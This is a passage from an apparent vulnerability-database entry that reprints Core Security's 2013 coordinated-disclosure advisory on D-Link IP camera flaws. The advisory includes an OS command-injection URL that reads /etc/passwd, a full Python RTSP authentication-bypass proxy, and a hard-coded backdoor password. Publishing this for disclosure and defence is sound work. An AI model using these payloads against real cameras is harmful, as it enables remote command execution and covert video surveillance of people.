        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2013-1599",
        "trust": 3.5
      },
      {
        "db": "BID",
        "id": "59564",
        "trust": 2.6
      },
      {
        "db": "EXPLOIT-DB",
        "id": "25138",
        "trust": 1.7
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137",
        "trust": 0.8
      },
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030",
        "trust": 0.6
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1599",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "121452",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "db": "BID",
        "id": "59564"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "id": "VAR-202001-0839",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      }
    ],
    "trust": 1.407887033333333
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "IoT",
          "Network device"
        ],
        "sub_category": null,
        "trust": 0.6
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      }
    ]
  },
  "last_update_date": "2024-08-14T14:12:01.581000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Top\u00a0Page",
        "trust": 0.8,
        "url": "http://www.dlink.lt/en/"
      },
      {
        "title": "",
        "trust": 0.1,
        "url": "https://github.com/20142995/Goby "
      }
    ],
    "sources": [
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      }
    ]
  },
  "problemtype_data": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "problemtype": "CWE-78",
        "trust": 1.0
      },
      {
        "problemtype": "OS Command injection (CWE-78) [NVD Evaluation ]",
        "trust": 0.8
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 2.6,
        "url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
      },
      {
        "trust": 2.3,
        "url": "https://seclists.org/fulldisclosure/2013/apr/253"
      },
      {
        "trust": 1.8,
        "url": "http://www.securityfocus.com/bid/59564"
      },
      {
        "trust": 1.7,
        "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83941"
      },
      {
        "trust": 1.7,
        "url": "https://packetstormsecurity.com/files/cve/cve-2013-1599"
      },
      {
        "trust": 1.7,
        "url": "http://www.exploit-db.com/exploits/25138"
      },
      {
        "trust": 1.5,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
      },
      {
        "trust": 0.3,
        "url": "http://www.dlink.com/"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/78.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://www.exploit-db.com/exploits/25138/"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/md/lums.cgi"
      },
      {
        "trust": 0.1,
        "url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
      },
      {
        "trust": 0.1,
        "url": "http://www.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
      },
      {
        "trust": 0.1,
        "url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
      },
      {
        "trust": 0.1,
        "url": "http://corelabs.coresecurity.com."
      },
      {
        "trust": 0.1,
        "url": "http://192.168.1.100/upnp/asf-mp4.asf"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "db": "BID",
        "id": "59564"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "db": "BID",
        "id": "59564"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      },
      {
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "date": "2020-01-28T00:00:00",
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "BID",
        "id": "59564"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "date": "2013-04-29T23:41:50",
        "db": "PACKETSTORM",
        "id": "121452"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      },
      {
        "date": "2020-01-28T20:15:11.587000",
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2013-05-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2013-04632"
      },
      {
        "date": "2021-04-27T00:00:00",
        "db": "VULMON",
        "id": "CVE-2013-1599"
      },
      {
        "date": "2013-04-30T00:00:00",
        "db": "BID",
        "id": "59564"
      },
      {
        "date": "2020-02-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      },
      {
        "date": "2020-02-19T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      },
      {
        "date": "2021-04-27T19:52:08.780000",
        "db": "NVD",
        "id": "CVE-2013-1599"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "plural \u00a0D-Link\u00a0IP\u00a0Camera\u00a0 In products \u00a0OS\u00a0 Command injection vulnerability",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2013-007137"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "operating system commend injection",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201305-030"
      }
    ],
    "trust": 0.6
  }
}

var-202001-0843
Vulnerability from variot

An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream. plural D-Link The product contains a vulnerability involving the use of hard-coded credentials.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. The account username is arbitrary and the password is \"?\". Remote attackers can exploit this issue to bypass the authentication mechanism and gain unauthorized access. http://drupal.org/node/207891. Advisory Information*

Title: D-Link IP Cameras Multiple Vulnerabilities Advisory ID: CORE-2013-0303 Advisory URL: http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities Date published: 2013-04-29 Date of last update: 2013-03-29 Vendors contacted: D-Link Corporation Release mode: Coordinated release

  1. Vulnerability Information

Class: OS command injection [CWE-78], Authentication issues [CWE-287], Information leak through GET request [CWE-598], Authentication issues [CWE-287], Use of hard-coded credentials [CWE-798] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602, CVE-2013-1603

  1. Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

  1. [CVE-2013-1599] to execute arbitrary commands from the administration web interface,
  2. [CVE-2013-1600] to access the video stream via HTTP,
  3. [CVE-2013-1601] to access the ASCII video stream via image luminance,
  4. [CVE-2013-1602] to access the video stream via RTSP,
  5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.

  6. Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1599] . DCS-3411/3430 - firmware v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603] . DCS-3411/3430 - v1.02 . DCS-5605/5635 - v1.01 . DCS-1100L/1130L - v1.04 . DCS-1100/1130 - v1.03 . DCS-1100/1130 - v1.04_US . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO . DCS-3410 - v1.02 . DCS-5230 - v1.02 . DCS-5230L - v1.02 . DCS-6410 - v1.00 . DCS-7410 - v1.00 . DCS-7510 - v1.00 . WCS-1100 - v1.02

[CVE-2013-1602] . ALL mentioned devices and firmware.

  1. Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

  1. Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

  1. Technical Description / Proof of Concept Code

7.1. OS Command Injection

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi' allows an unauthenticated remote attacker to execute arbitrary commands through the camera's web interface. The OS command injection is due to this code in 'rtpd.cgi':

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/ The first line of this snippet basically ensures that there are no spaces in '$QUERY_STRING'. The last line uses 'sed' to replace ampersands '&' with spaces, and then call to the function 'eval()', resulting in a typical command injection. For example, in order to execute:

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

/----- O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o O O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o O O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o O O O O O O O O O O O O o o o o . o o o o o o o O O O O O O O O O O o . o O O o . o o o o o o O O O O O O O O O . o o o o o o O O O O O O O O . o o o o o o o o O O O O O O O . o O O o . o o o o o o o o o O O O O O O o . O O O O O O . o o o o o o o o o O O O O O O . O O O O O O O . o o o o o o o o o O O O O O O o O O O O O O O . o . o o o o o o o o O O O O O O o O O O O O O O . o o o . o o o o o o o o O O O O O O o O O O O O O o . o O O o O O . o o o o o o o O O O O O O . o O O O O O O o . O O O o O O . o o o o o o O O O O O O . O O O O O o . O O o o O O o . o o o o o o O O O O O O o O O O O O o . o O O o o O O o . o o o o o O O O O O O O O O O O O . o O O o o O O o . o o o o o O O O O O O O . o O O O o . o o o O o o O O o . o o o o O O O O O O O o . O O O o . o o o O o o O O o . o o o o O O O O O O O O . O O O . o o o O o o O O o . o o o o O O O O O O O O O O O . o o o O o o O O o . o o o O O O O O O O O o o O o o o o o O o o o O o . o o o O O O O O O O O O . O o o o o o O o . o O o . o o O O O O O O O O O . O o . o o o o O . o O o . o O O O O O O O O O o o . o o o o o . o O o . o O O O O O O O O O O . o o o . o . o O o . o O O O O O O O O O . o o o . o . O o .
o o O O O O O O O O o . o o o . o . O o .
o o o O O O O O O O o . o o o . o . O o .

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

  1. Authentication is only present in DESCRIBE requests but not in every subsequent request.
  2. When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker.

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

class PipeThread(Thread): pipes = [] def init(self, source, sink, process_data_callback=lambda x: x): Thread.init(self) self.source = source self.sink = sink self.process_data_callback = process_data_callback PipeThread.pipes.append(self)

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

class TCPTunnel(Thread): def init(self, src_port, dst_addr, process_data_callback=lambda x: x): Thread.init(self) log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1])) self.dst_addr = dst_addr self.process_data_callback = process_data_callback # Create TCP listener socket self.sock = socket(AF_INET, SOCK_STREAM) self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1) self.sock.bind(('', src_port)) self.sock.listen(5)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

class DLink(Camera): # D-Link DCS-2102/1.06-5731 def init(self, address): Camera.init(self, address) def get_describe_data(self): return '\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'

class RTSPAuthByPasser(): DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://' UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized' SERVER_PORT_ARGUMENTS = 'server_port=' DEFAULT_CSEQ = 1 DEFAULT_SERVER_PORT_RANGE = '5556-5559'

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

self.last_describe_req: log('[!] Unauthorized response received. Spoofing...') spoofed_describe = self.camera.get_describe_data() # Look for the request CSeq m = re.search('.CSeq:\s(\d+?)\r\n.', self.last_describe_req) cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ # Create the response data = 'RTSP/1.0 200 OK\r\n' data+= 'CSeq: %s\r\n' % cseq data+= 'Content-Type: application/sdp\r\n' data+= 'Content-Length: %d\r\n' % len(spoofed_describe) data+= '\r\n' # Attach the spoofed describe data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data: # Look for the server RTP ports m = re.search('.
%s\s(.+?)[;|\r].' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data) ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE # For each port in the range create a UDP dispatcher begin_port, end_port = map(int, ports.split('-')) for udp_port in xrange(begin_port, end_port + 1): try: UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start() except: pass
return data

if name == 'main': if len( sys.argv ) > 1: listener_port = camera_port = int(sys.argv[1]) camera_ip = sys.argv[2] if len(sys.argv) == 4: camera_port = int(sys.argv[3]) RTSPAuthByPasser(listener_port, DLink((camera_ip, camera_port))).start() else: print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
-----/

7.5.

/----- username: (any)
password: ?* -----/

As we can see in the following dump, the submitted password is compared with the string ':?*' (the character ':' is used for concatenation of 'username:password'). This code belongs to the binary 'rtspd':

/----- .text:00011468 loc_11468 ; Load from Memory .text:00011468 LDR R3, [R11,#s2] .text:0001146C STR R3, [R11,#var_C0] ; Store to Memory .text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory .text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory .text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2 .text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2 .text:00011480 STR R3, [R11,#var_C0] ; Store to Memory .text:00011484 LDR R0, [R11,#var_C0] ; s1 .text:00011488 LDR R1, =asc_1B060 ; ":?*" <------- .text:0001148C MOV R2, #3 ; n .text:00011490 BL strncmp ; Branch with Link .text:00011494 MOV R3, R0 ; Rd = Op2 .text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2 .text:0001149C BNE loc_114BC ; Branch -----/

  1. Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.

  2. References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

  1. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

  1. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

  1. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

  1. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-202001-0843",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
